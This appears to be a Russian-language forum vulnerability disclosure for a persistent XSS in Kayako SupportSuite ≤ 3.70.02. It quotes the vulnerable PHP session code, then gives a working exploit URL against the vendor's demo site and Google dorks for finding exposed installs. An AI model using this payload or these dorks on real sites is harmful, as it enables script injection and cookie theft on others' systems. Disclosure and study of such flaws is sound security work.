Продукт: Kayako SupportSuite <= v3.70.02 Active XSS
Офф сайт: www.kayako.com
Зависимости: Нет
Уязвимые файлы: /modules/livesupport/visitor_htmlcode.php
Уязвимый кусок кода:
Файл /modules/livesupport/visitor_updatefootprint.php:
PHP код:
// Try to get the session
if (!$session->fetchSession($_GET["sessionid"], SESSION_VISITOR))
{
$isbanned = checkBannedStatus(true);
if (!$isbanned)
{
$session->insertSession(SESSION_VISITOR, 0, $_GET["sessionid"], true);
$_GET["isfirsttime"] = 1;
}
}
Файл functions.php:
PHP код:
public function insertSession( $sessiontype, $typeid = 0, $customsessionid = "", $noshutdown = false )
{
global $dbCore;
global $_SWIFT;
global $cookie;
if ( $customsessionid != "" )
{
$sessionid = $customsessionid;
}
. . . .
if ( $sessiontype != SESSION_CHAT )
{
$_SWIFT['sessionid'] = $sessionid;
$_SWIFT['session']['sessionid'] = $sessionid;
$_SWIFT['session']['ipaddress'] = $_SERVER['REMOTE_ADDR'];
$_SWIFT['session']['lastactivity'] = DATENOW;
$_SWIFT['session']['useragent'] = $_SERVER['HTTP_USER_AGENT'];
$_SWIFT['session']['isloggedin'] = "1";
$_SWIFT['session']['sessiontype'] = $sessiontype;
$_SWIFT['session']['typeid'] = $typeid;
$_SWIFT['session']['dateline'] = DATENOW;
$cookie->setSCookie( "sessionid".$sessiontype, $sessionid );
}
return $sessionid;
}
Файл /modules/livesupport/visitor_htmlcode.php:
PHP код:
$cookiesessionid = $cookie->getSCookie("sessionid".SESSION_VISITOR);
if (trim($cookiesessionid) == "")
{
$sessionid = $session->insertSession(SESSION_VISITOR);
} else {
$sessionid = $cookiesessionid;
}
. . . . . .
var sessionid_<?php echo $_variablesuffix; ?> = "<?php echo $sessionid; ?>";
Exploit:
http://demo.kayako.com/supportsuite/visitor/index.php?_m=livesupport&_a=updatefootprint&sessio nid=%22;alert('hehehe');//&isfirsttime=1
sessionid запишется в кукисы и будет инжектится, при посещении Kayako SupportSuite, в:
PHP код:
<script language="javascript" src="http://localhost/kayako/visitor/index.php?_m=livesupport&_a=htmlcode&departmentid=0&fullname=&email="></script>
[-] Атакуемый должен обновить страницу или очистить кэш, чтобы закешился новый JS.
Dork:
"powered by Kayako SupportSuite"
"Help Desk Software by Kayako SupportSuite"